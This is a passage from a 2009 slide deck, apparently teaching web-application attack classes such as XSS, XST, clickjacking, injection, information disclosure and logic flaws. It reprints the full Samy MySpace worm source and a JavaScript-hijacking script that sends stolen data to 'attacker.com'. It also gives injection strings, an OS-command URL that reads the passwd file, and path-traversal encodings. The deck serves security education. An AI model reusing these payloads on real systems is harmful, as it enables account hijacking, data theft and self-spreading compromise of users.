Samy was an XSS Worm developed to propagate across MySpace. The worm carried a payload that would display the string "but most of all, Samy is my hero" on a victim's profile. When a user viewed that profile, they would have the payload planted on their page. Within just 20 hours of its October 4 , 2005 release, over one million users had run the payload, making Samy one of the fastest spreading viruses of all time. Execution of the payload resulted in a "friend request" automatically being made to the author of the virus and in messages containing the payload being left on the profiles of the friends of the victim. The complete explanation of the code and how the author worked around prevention mechanisms can be found here at http://namb.la/popular/tech.html. This was the code

<div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU) {M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M) {getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV) {if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-formurlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject) {try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE) {AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome() {if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm? fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm? fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm? fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm? fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm? fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-formurlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>

60

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

3. Cross Site Tracing Attacks (XST)

The HTTP TRACE is used simply as an input data echo mechanism for the http protocol. This request method is commonly used for debug and other connection analysis activities. The http trace request (containing request line, headers, post data), sent to a trace supporting web server, will respond to the client with the information contained in the request. httpOnly is a HTTP Cookie option used to inform the browser (IE 6 only until other browsers support httpOnly) NOT to allow scripting languages (JavaScript, VBScript, etc.) access to the document.cookie object.

References
1.

WhiteHat Security - Whitepaper - Cross-Site Tracing (XST) (http://www.cgisecurity.com/whitehatmirror/WH-WhitePaper_XST_ebook.pdf)

61

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

XST (cont..)

This attack effectively bypasses the restrictions of httpOnly setting as follows Force the browser to send a HTTP TRACE request. Browsers by default only allow the GET and POST methods and so TRACE requires some more code.
<script type=text/javascript> <! function sendTrace () { var xmlHttp = new ActiveXObject(Microsoft.XMLHTTP); xmlHttp.open(TRACE, http://foo.bar,false); xmlHttp.send(); xmlDoc=xmlHttp.responseText; alert(xmlDoc); } //--> </script> <INPUT TYPE=BUTTON OnClick=sendTrace(); VALUE=Send Trace Request>

The above code, using the ActiveX control XMLHTTP, will send a TRACE request to the target web server. The server will then echo, if it supports TRACE, the information sent within the HTTP request. Internet Explorer will send general browser headers by default that will be displayed via a resulting JavaScript alert window. If your browser happens to have a cookie from the target domain or is logged into the target web server using web authentication, you will be able to see your cookies and credentials present within the alert.

62

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

XST (cont..)

63

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

XST (cont..)

It is important to note two things about this attack.

The first is ability to do these types of request using a web browser is NOT limited to Internet Explorer. Other web browsers such as Mozilla/Netscape possess the ability as well. Also XMLHTTP requests can be generated from within environments like Flash, Adobe Flex etc. Second, The TRACE connection made by the browser, will NOT be allowed by the browser, to connect to anything other than the domain hosting the actual script content. A foo.bar script domain will only be able to TRACE and connect to a foo.bar domain host. This is a browser implemented domain restriction security policy. This technical exploit limitation does prevent further abuse, however, this hurdle can be bypassed.

64

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

4. Browser and Plugin Vulnerabilities

Loosely defined, these are vulnerabilities in the client browser software or client plugins (Flash/Macromedia/Acrobat etc.) that can either enable other attacks, can enable execution of arbitrary code, raise privileges, compromise users privacy or simply crash the browser. These are specific to the particular make and version of software like Mozilla, IE etc. and cannot be generalized. These vulnerabilities have to be patched by the vendors and the web application developers cannot do much about these except be aware of the issues.

Examples Firefox bug affecting FF 3.0.0 - Crash with malformed GIF file on Mac OS X
http://www.mozilla.org/security/announce/2008/mfsa2008-36.html) (

This is a vulnerability in Mozilla graphics code which handles GIF rendering in Mac OS X. A GIF file could be specially crafted to cause the browser to free an uninitialized pointer. An attacker could use this vulnerability to crash the browser and potentially execute arbitrary code on the victim's computer.

65

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Browser and plugin vuln. (cont..)

Adobe Acrobat and Reader PDF File Handling JBIG2 Image Remote Code Execution Vulnerability (http://www.securityfocus.com/bid/33751) (
https://forums2.symantec.com/t5/blogs/blogarticlepage/blog-id/vulnerabilities_exploits/article-id/188)

The vulnerability is caused by an error in parsing particular structures within the PDF format. Once the malicious document is opened it triggers the vulnerability. The JavaScript payload then sprays the heap with the malicious shellcode in an attempt to increase the chances of a successful exploit. If the exploit is successful, a malicious binary will be dropped and executed on the victims system. Adobe Acrobat and Reader are prone to a remote code-execution vulnerability. The attacker can exploit this issue to execute arbitrary code with the privileges of the user running the application or crash the application, denying service to legitimate users. This was seen to be used in a targeted fashion against CEOs of companies.

66

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

5. Clickjacking

Clickjacking is a method used by malicious individuals to trick users into clicking something without them knowing what theyve clicked. Its also known as UI-redressing and only works in browsers that support frames/CSS. The idea is simple: An iframe is positioned above what looks like a clickable button on a website. This iframe is invisible to the user (opacity:0) and so the user unknowingly clicks on the iframe which may contain anything! This can be achieved through CSS alone, no JavaScript is required. A variation of this technique involves the use of JavaScript to move the iframe around the screen inline with the users cursor, therefore achieving the same thing but without having to convince the user to click on a button. The original concern was related to Flash and how a user could unknowingly enable their webcam and microphone so the attacker would have access. Clickjacking is hard to combat. From a technical standpoint, the attack is executed using a combination of CSS and iFrames, which are both harmless web technologies, and relies mostly on tricking users by means of social engineering. The only server side technique against clickjacking is frame breaking, which would cause a legitimate site to break out of any iFrames it may be embedded in.
http://www.sectheory.com/clickjacking.htm http://en.wikipedia.org/wiki/Clickjacking http://james.padolsey.com/general/clickjacking-twitter/ http://www.grc.com/sn/notes-168.htm http://beerpla.net/2009/02/12/how-to-fight-clickjacking-using-the-recent-twitter-hijacking-as-an-example/

References
1. 2. 3. 4. 5.

67

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Clickjacking Example

Twitter Hijack via Clickjacking (Feb 2009)

Hundreds and thousands of messages saying Dont Click: http://tinyurl.com/amgzs6 started showing up. Clicking the link shows a simple page with 1 button. Clicking the button uses clickjacking to repost the message to your own twitter account (if you are logged in).

68

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Example code for Clickjacking


<style> iframe { width: 550px; height: 228px; /* Use absolute positioning to line up update button with fake button */ position: absolute; top: -170px; left: -418px; z-index: 2; /* Hide from view */ -moz-opacity: 0; opacity: 0; filter: alpha(opacity=0); } button { position: absolute; top: 10px; left: 10px; z-index: 1; width: 120px; } </style> <iframe src="http://twitter.com/home?status=Test!! (WHAT!!??)" scrolling="no"></iframe> <button>CLICK HERE!</button>

http://beerpla.net/2009/02/12/how-to-fight-clickjacking-using-the-recent-twitter-hijacking-as-an-example

69

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Injection Attacks

70

Copyright (c) 2009 Arun Viswanathan

4/21/2009

1. Buffer Overflow Attacks


Buffer Overflow exploits are attacks that alter the flow of an application by overwriting parts of memory. Buffer Overflow is a common software flaw that results in an error condition. This error condition occurs when data written to memory exceed the allocated size of the buffer. As the buffer is overflowed, adjacent memory addresses are overwritten causing the software to fault or crash. When unrestricted, properly-crafted input can be used to overflow the buffer resulting in a number of security issues. Buffer Overflows vulnerabilities most commonly occur in programming languages such as C and C++. Buffer Overflows are common both in the clients-side software like browsers and in servers like Apache, IIS etc. References

1. 2.

Smashing The Stack For Fun And Profit, By Aleph One - Phrack 49 http://www.insecure.org/stf/smashstack.txt WASC Threat Classification (http://www.webappsec.org/projects/threat/)

71

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

2. Format String Attack

Format String Attacks alter the flow of an application by using string formatting library features to access other memory space. Vulnerabilities occur when user-supplied data are used directly as formatting string input for certain C/C++ functions (e.g. fprintf, printf, sprintf, setproctitle, syslog, ...). If an attacker passes a format string consisting of printf conversion characters (e.g. %f, %p, %n, etc.) as parameter value to the web application, they may:

Execute arbitrary code on the server Read values off the stack Cause segmentation faults / software crashes

References

Analysis of format string bugs, By Andreas Thuemmel http://downloads.securityfocus.com/library/format-bug-analysis.pdf WASC Threat Classification (http://www.webappsec.org/projects/threat/)

72

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

3. OS Commanding

OS Commanding is an attack technique used to exploit web sites by executing Operating System commands through manipulation of application input. The executed commands will run with the same permissions of the component that executed the command (e.g. Database server, Web application server, Web server, etc.).

Example NSA of Slovak Republic Hacked (Apr 2006)


(http://blackhole.sk/node/442)

The hackers used the following URL embedded with OS commands to extract the passwd file.

http://webmail.nbusr.sk/horde/services/help/?show=about&module=;%22.passthru(%22cat%20%22.chr(47).%22 .

References

WASC Threat Classification (http://www.webappsec.org/projects/threat/)

73

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

A general comment on Injection Attacks

Injection Attacks occurs when an application does not properly validate user supplied input and then includes that input blindly in further processing. SQL/LDAP/XPATH/SOAP/JSON Injection are all types of Injection Attacks that are enabled by improper input validation. When an attacker is able to craft a malicious input, the process will run with the same permissions as the component that executed the command. (e.g. Database server, Web application server, Web server, etc.). This can cause serious security problems where the permissions grant the rights to add, query, modify or remove anything.

74

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

4. SQL Injection
Example

Consider the following SQL code in the backend for authenticating users
SQLQuery = "SELECT Username FROM Users WHERE Username = " & strUsername & ' AND Password = ' & strPassword & " strAuthCheck = GetQueryResult(SQLQuery);

Suppose an attacker submits a login and password that looks like the following:
Login: ' OR ''=' Password: ' OR ''='

This will cause the resulting SQL query to become:


SELECT Username FROM Users WHERE Username = '' OR ''='' AND Password = '' OR ''='

Instead of comparing the user-supplied data with entries in the Users table, the query compares '' (empty string) to '' (empty string). This will return a True result and the attacker will then be logged in as the first user in the Users table.
WASC Threat Classification (http://www.webappsec.org/projects/threat/) SQL Injection: Are your Web Applications Vulnerable SPI Dynamics http://www.spidynamics.com/support/whitepapers/WhitepaperSQLInjection.pdf Blind SQL Injection: Are your Web Applications Vulnerable SPI Dynamics http://www.spidynamics.com/support/whitepapers/Blind_SQLInjection.pdf Advanced SQL Injection in SQL Server Applications, Chris Anley NGSSoftware http://www.nextgenss.com/papers/advanced_sql_injection.pdf More advanced SQL Injection, Chris Anley NGSSoftware http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf

References
1. 2. 3. 4. 5.

75

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

SQL Injection (cont..)

Normal SQL Injection

In this form of SQL Injection, the attacker is guided by the SQL Error messages that the server returns and keeps modifying his queries till the server is satisfied. In Blind SQL Injection, instead of returning a database error, the server returns a customer-friendly error page informing the user that a mistake has been made. In this instance, SQL Injection is still possible, but not as easy to detect. A common way to detect Blind SQL Injection is to put a false and true statement into the parameter value. Executing the following request to a web site:
http://example/article.asp?ID=2+and+1=1

Blind SQL Injection


should return the same web page as:


http://example/article.asp?ID=2

because the SQL statement 'and 1=1' is always true. Executing the following request to a web site:
http://example/article.asp?ID=2+and+1=0

would then cause the web site to return a friendly error or no page at all. This is because the SQL statement and 1=0 is always false. Once the attacker discovers that a site is susceptible to Blind SQL Injection, he can exploit further. Copyright (c) 2009 Arun 4/21/2009 Viswanathan

76

4. LDAP Injection
Example

Assume the following code in a web servlet for doing a LDAP search for a given user name:

userName = Request.QueryString("user") filter = "(uid=" + CStr(userName) + ")

An attacker can invoke this code http://example/ldapsearch.asp?user=* which will return the complete database to the attacker.

References

LDAP Injection: Are Your Web Applications Vulnerable?, By Sacha Faust SPI Dynamics http://www.spidynamics.com/whitepapers/LDAPinjection.pdf
WASC Threat Classification (http://www.webappsec.org/projects/threat/)

77

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

5. XPath Injection

If your Web site uses an XML document to store data and user input is included in an XPath query against that document, you may be vulnerable to XPath Injection. As SQL is used to query databases, XPath is used to query XML documents to retrieve data. When an application has to retrieve data from the XML document based on user input, it sends an XPath query which gets executed on the server. XPath Injection works very similar to SQL Injection except the syntax.

Example

The XPath query against the document for user bob with the password Elvis would look like /users/user[username = bob and password = Elvis] Instead of sending Elvis as his password, assume that attacker sends The resulting XPath query as interpreted by the server would read:
/users/user[username = bob and password = x or 1 = 1] x or 1 = 1.

By including the always-true statement or 1 = 1 at the end of the query, the hacker has completely negated the programmers intent of checking the provided username and password.

78

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

5. XPath Injection (cont..)

Blind Xpath Injection

Assume that the hackers goal is to retrieve the complete backend XML instead of just bypassing authentication. This can be done with Blind Xpath Injection. The key to executing a Blind XPath Injection attack is the ability to ask the server a series of true or false questions. An attackers first goal is to determine whether the application is vulnerable to Blind XPath Injection. The first step in doing so is to append an always true statement to the input value. (for example, productname and 1=1) If the application returned valid data, it is evidence that the application accepted the additional query clause entered by the attacker and processed it as part of its own query Next he needs to ask an intentionally false question to see how the false result looks like. (for example, productname and 1=2) If the server still responds, that means the application is vulnerable to a Blind XPath Injection

79

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Xpath Injection (cont..)

Example

Assume the hacker wants to obtain from the application, the number of tree nodes in the document. Unfortunately, we cant directly ask the application How many nodes are in the document? since this is not a true/false question. In order to get this information, we have to play a sort of Twenty Questions game with the application. We may not be able to ask How many nodes are in the document?, but we can ask such things as Is there one node in the document?. For example, prodname and (count(/descendant::*[position() = 1]/child::node()) = 1) or 1 = 2 If the response is the true response, were done. If the response is the false response, we ask it Are there two nodes in the document?. And so on

References

Microsoft: How To Protect From Injection Attacks in ASP.NET http://msdn2.microsoft.com/en-us/library/bb355989.aspx Jamie Blasco: Introduction to XPath Injection Techniques http://en.hakin9.org/attachments/xpath_new_en.pdf Amit Klein: Blind XPath Injection http://www.packetstormsecurity.org/papers/bypass/Blind_XPath_Injection_20040518.pdf SearchSecurity.com http://searchsecurity.techtarget.com/expert/KnowledgebaseAnswer/0,289625,sid14_gci1239401,00.html Xpath Injection: Are your applications vulnerable? https://h10078.www1.hp.com/cda/hpdc/navigation.do?action=downloadPDF&zn=bto&cp=54_4012_100__&caid=14149

80

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

6. SSI Injection

SSI Injection (Server-side Include) is a server-side exploit technique that allows an attacker to send code into a web application, which will later be executed locally by the web server. SSI Injection exploits a web application's failure to sanitize user-supplied data before they are inserted into a server-side interpreted HTML file. Before serving an HTML web page, a web server may parse and execute Server-side Include statements before providing it to the user. In some cases (e.g. message boards, guest books, or content management systems), a web application will insert user-supplied data into the source of a web page. If an attacker submits a Server-side Include statement, he may have the ability to execute arbitrary operating system commands, or include a restricted file's contents the next time the page is served. The following SSI tag can allow an attacker to get the root directory listing on a UNIX based system.
<!--#exec cmd="/bin/ls /" -->

Example

References

WASC Threat Classification (http://www.webappsec.org/projects/threat/ )

81

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

7. SOAP Injection

SOAP is vulnerable to the same kinds of problems as present in SQL, LDAP and XPATH injection. The SOAP protocol by itself might not be vulnerable but the data carried inside the SOAP Envelope has to be correctly sanitized the communicating ends. Web services, require somewhat less rigor because the web service methods specify the data type for each of their arguments. For example, if an attacker tries to perform SQL injection on a web services method that expects an integer as an argument, adding a single quotation mark will cause the SOAP implementation to return a client error and the data will not reach the actual method called.

References

SOAP Web Services Attacks: Part 1 - Introduction and Simple Injection : http://whitepapers.zdnet.co.uk/0,1000000651,260126237p,00.htm

82

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

8. JavaScript Hijacking

http://www.fortifysoftware.com/servlet/downloads/public/JavaScript_Hijacking.pdf

JavaScript Hijacking is an attack against the data transport mechanism used by many rich Web applications. JavaScript Hijacking allows an unauthorized attacker to read confidential data from a vulnerable application using a technique similar to the one commonly used to create mashups. This technique builds on CSRF. Web browsers enforce the Same Origin Policy in order to protect users from malicious websites. JavaScript Hijacking allows an attacker to bypass the Same Origin Policy in the case that a Web application uses JavaScript to communicate confidential information. Any data transport format where messages can be interpreted as one or more valid JavaScript statements is vulnerable to JavaScript Hijacking. JSON makes JavaScript Hijacking easier by the fact that a JSON array stands on its own as a valid JavaScript statement. Since arrays are a natural form for communicating lists, they are commonly used wherever an application needs to communicate multiple values. Put another way, a JSON array is directly vulnerable to JavaScript Hijacking. The attack is possible because Web browsers don't protect JavaScript the same way they protect HTML; if a Web application transfers confidential data using messages written in JavaScript, in some cases the messages can be read by an attacker. 83 Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Javascript Hijacking Example


The following example shows how an attacker can mimic the client and gain access to the confidential data the server returns. The client requests data from a server and evaluates the result as JSON with the following code:
var object; var req = new XMLHttpRequest(); req.open("GET", "/object.json",true); req.onreadystatechange = function () { if (req.readyState == 4) { var txt = req.responseText; object = eval("(" + txt + ")"); req = null; } }; req.send(null); The server responds with an array in JSON format:

[{"fname":"Brian", "lname":"Chess", "phone":"6502135600", "purchases":60000.00, "email":"brian@fortifysoftware.com" }, {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600", "purchases":120000.00, "email":"katrina@fortifysoftware.com" }]

84

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Javascript Hijacking Example (cont..)


Other users cannot access this information without knowing the user's session identifier (stored as cookie). However, if a victim visits a malicious website, the malicious site can retrieve the information using JavaScript Hijacking. If a victim can be tricked into visiting a Web page that contains the following malicious code, the victim's lead information will be sent to the attacker's Web site.
<script> // override the constructor used to create all objects so // that whenever the "email" field is set, the method // captureObject() will run. Since "email" is the final field, this will allow us to steal the whole object. function Object() { this.email setter = captureObject; } // Send the captured object back to the attacker's Web site function captureObject(x) { var objString = ""; for (fld in this) { objString += fld + ": " + this[fld] + ", "; } objString += "email: " + x; var req = new XMLHttpRequest(); req.open("GET", "http://attacker.com?obj=" + escape(objString),true); req.send(null); } </script> <!-- Use a script tag to bring in victim's data --> <script src="http://www.example.com/object.json"></script>

85

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Javascript Hijacking (cont.)


The malicious code uses a script tag to include the JSON object in the current page. The Web browser will send up the appropriate session cookie with the request. (CSRF!!) In other words, this request will be handled just as though it had originated from the legitimate application. When the JSON array arrives on the client, it will be evaluated in the context of the malicious page. In order to witness the evaluation of the JSON, the malicious page has redefined the JavaScript function used to create new objects. In this way, the malicious code has inserted a hook that allows it to get access to the creation of each object and transmit the object's contents back to the malicious site. If the user is not logged into the vulnerable site, the attacker can compensate by asking the user to log in and then displaying the legitimate login page for the application. This is not a phishing attackthe attacker does not gain access to the user's credentialsso anti-phishing countermeasures will not be able to defeat the attack.
86 Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Information Disclosure

87

Copyright (c) 2009 Arun Viswanathan

4/21/2009

1. Directory Indexing

Automatic directory listing/indexing is a web server function that lists all of the files within a requested directory if the normal base file (index.html/home.html/default.htm) is not present. When a web server reveals a directory's contents, the listing could contain information not intended for public viewing. From an attack and countermeasure perspective, it is important to realize that unintended directory listings may be possible due to software vulnerabilities (discussed in the example section below) combined with a specific web request. Although potentially harmless, Directory Indexing could allow an information leak that supplies an attacker with the information necessary to launch further attacks against the system.
WASC Threat Classification (http://www.webappsec.org/projects/threat/)

References

88

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

2. Information Leakage

Information Leakage is when a web site reveals sensitive data, such as developer comments or error messages, which may aid an attacker in exploiting the system. Sensitive information may be present within HTML comments, error messages, source code, or simply left in plain sight. While leakage does not necessarily represent a breach in security, it does give an attacker useful guidance for future exploitation. Information Leakage also applies to data deemed confidential, which aren't properly protected by the web site. These data may include account numbers, user identifiers (Drivers license number, Passport number, Social Security Numbers, etc.) and user specific data (account balances, address, and transaction history).

References

WASC Threat Classification (http://www.webappsec.org/projects/threat/)

89

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

3. Path Traversal

The Path Traversal attack technique forces access to files, directories, and commands that potentially reside outside the web document root directory. An attacker may manipulate a URL in such a way that the web site will execute or reveal the contents of arbitrary files anywhere on the web server. Any device that exposes an HTTP based interface is potentially vulnerable to Path Traversal. The most basic Path Traversal attack uses the ../ special character sequence to alter the resource location requested in the URL. Although most popular web servers will prevent this technique from escaping the web document root, alternate encodings of the ../ sequence may help bypass the security filters. These method variations include valid and invalid Unicode-encoding (..%u2216 or ..%c0%af) of the forward slash character, backslash characters (..\) on Windowsbased servers, URL encoded characters (%2e%2e%2f), and double URL encoding (..%255c) of the backslash character.
Path Traversal attacks against a web server

Attack: http://example/../../../../../some/file Attack: http://example/..%255c..%255c..%255csome/file Attack: http://example/..%u2216..%u2216some/file

References

WASC Threat Classification (http://www.webappsec.org/projects/threat/)

90

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

4. Predictable Resource Location (Forced Browsing)

Predictable Resource Location is an attack technique used to uncover hidden web site content and functionality. By making educated guesses, the attack is a brute force search looking for content that is not intended for public viewing. Temporary files, backup files, configuration files, and sample files are all examples of potentially leftover files.

References

WASC Threat Classification (http://www.webappsec.org/projects/threat/)

91

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

5. Insecure Direct Object Reference


A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter. An attacker can manipulate direct object references to access other objects without authorization, unless an access control check is in place. For example, in Internet Banking applications, it is common to use the account number as the primary key. Therefore, it is tempting to use the account number directly in the web interface. Even if the developers have used parameterized SQL queries to prevent SQL injection, if there is no extra check that the user is the account holder and authorized to see the account, an attacker tampering with the account number parameter can see or change all accounts. Example This type of attack occurred to the Australian Taxation Offices GST Start Up Assistance site in 2000, where a legitimate but hostile user simply changed the ABN (a company tax id) present in the URL. The user farmed around 17,000 company details from the system, and then emailed each system. This was a major embarrassment to the Government of the 17,000 companies with details of his attack. References

1. 2.

OWASP Top 10 2007 http://www.owasp.org/index.php/Top_10_2007-A4 GST Hack : http://www.abc.net.au/7.30/stories/s146760.htm

92

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

6. Webserver / App Fingerprinting

The theory behind web server/application fingerprinting is to create an accurate profile of the targets software, configurations and possibly even their network architecture/topology by analyzing the following:

Implementation differences of the HTTP Protocol HTTP Response Headers File Extensions (.asp vs. jsp) Cookies (ASPSESSION) Error Pages (Default?) Directory Structures and Naming Conventions (Windows/Unix) Web Developer Interfaces (Frontpage/WebPublisher) Web Administrator Interfaces (iPlanet/Comanche) OS Fingerprinting Mismatches (IIS on Linux?)

Revealing the specific software version of the server may allow the server machine to become more vulnerable to attacks against software that is known to contain security holes.

References

WASC Threat Classification (http://www.webappsec.org/projects/threat/)

93

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Webserver / App Fingerprinting Examples

Examples

The error code 404, Apache reports Not Found whereas Microsoft IIS/5.0 reports Object Not Found. The header Content-Length is returned vs. Content-length. Apache servers consistently place the Date header before the Server header while Microsoft-IIS has these headers in the reverse order. A server has a choice of headers to include in a Response. While some headers are required by the specification, most headers (e.g. ETag) are optional. In the examples below, the Apache servers response headers include additional entries such as: ETag, Vary and Expires while the IIS server does not.

94

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Logical Attacks

95

Copyright (c) 2009 Arun Viswanathan

4/21/2009

1. Abuse of Functionality

Abuse of Functionality is an attack technique that uses a web site's own features and functionality to consume, defraud, or circumvents access controls mechanisms. Some functionality of a web site, possibly even security features, may be abused to cause unexpected behavior. Abuse of Functionality techniques are often intertwined with other categories of web application attacks, such as performing an encoding attack to introduce a query string that turns a web search function into a remote web proxy. Abuse of Functionality attacks are also commonly used as a force multiplier. Examples of Abuse of Functionality include:

Using a web site's search function to access restricted files outside of a web directory, Subverting a file upload subsystem to replace critical internal configuration files, and Performing a DoS by flooding a web-login system with good usernames and bad passwords to lock out legitimate users when the allowed login retry-limit is

exceeded.

96

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Abuse of functionality example

Matt Wright FormMail

The PERL-based web application "FormMail" was normally used to transmit user-supplied form data to a preprogrammed e-mail address. The script offered an easy to use solution for web sites to gather feedback. Unfortunately, this same high degree of utility and ease of use was abused by remote attackers to send email to any remote recipient. In short, this web application was transformed into a spam-relay engine with a single browser web request.
http://example/cgi-bin/FormMail.pl? recipient=email@victim.example&message= you%20got %20spam

References

WASC Threat Classification (http://www.webappsec.org/projects/threat/) FormMail Real Name/Email Address CGI Variable Spamming Vulnerability http://www.securityfocus.com/bid/3955

97

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

2. Insufficient Anti-Automation

Insufficient Anti-automation is when a web site permits an attacker to automate a process that should only be performed manually. Certain web site functionalities should be protected against automated attacks. Left unchecked, automated robots (programs) or attackers could repeatedly exercise web site functionality attempting to exploit or defraud the system. An automated robot could potentially execute thousands of requests a minute, causing potential loss of performance or service. For example, an automated robot should not be able to sign up ten thousand new accounts in a few minutes. Similarly, automated robots should not be able to annoy other users with repeated message board postings. These operations should be limited only to human usage.

References

WASC Threat Classification (http://www.webappsec.org/projects/threat/)

98

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

3. Insufficient Process Validation

Insufficient Process Validation is when a web site permits an attacker to bypass or circumvent the intended flow control of an application. If the user state through a process is not verified and enforced, the web site could be vulnerable to exploitation or fraud. When a user performs a certain web site function, the application may expect the user to navigate through a specific order sequence. If the user performs certain steps incorrectly or out of order, a data integrity error occurs. Examples of multi-step processes include wire transfer, password recovery, purchase checkout, account signup, etc. These processes will likely require certain steps to be performed as expected.

References

WASC Threat Classification (http://www.webappsec.org/projects/threat/)

99

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

4. Parameter Tampering/Cookie Poisoning/ Hidden Field Manipulation


Parameter tampering is a simple attack targeting the application business logic. This attack takes advantage of the fact that many programmers rely on hidden or fixed fields (such as a hidden tag in a form or a parameter in a URL) as the only security measure for certain operations. Attackers can easily modify these parameters to bypass the security mechanisms that rely on them. A classic example of parameter tampering is changing parameters in form fields. When a user makes selections on an HTML page, they are usually stored as form field values and sent to the Web application as an HTTP request. These values can be pre-selected (combo box, check box, radio button, etc.), free text or hidden. All of these values can be manipulated by an attacker. In most cases this is as simple as saving the page, editing the HTML and reloading the page in the Web browser. For example, consider a products order form that includes the following hidden field:
<input type="hidden" name="price" value="59.90">

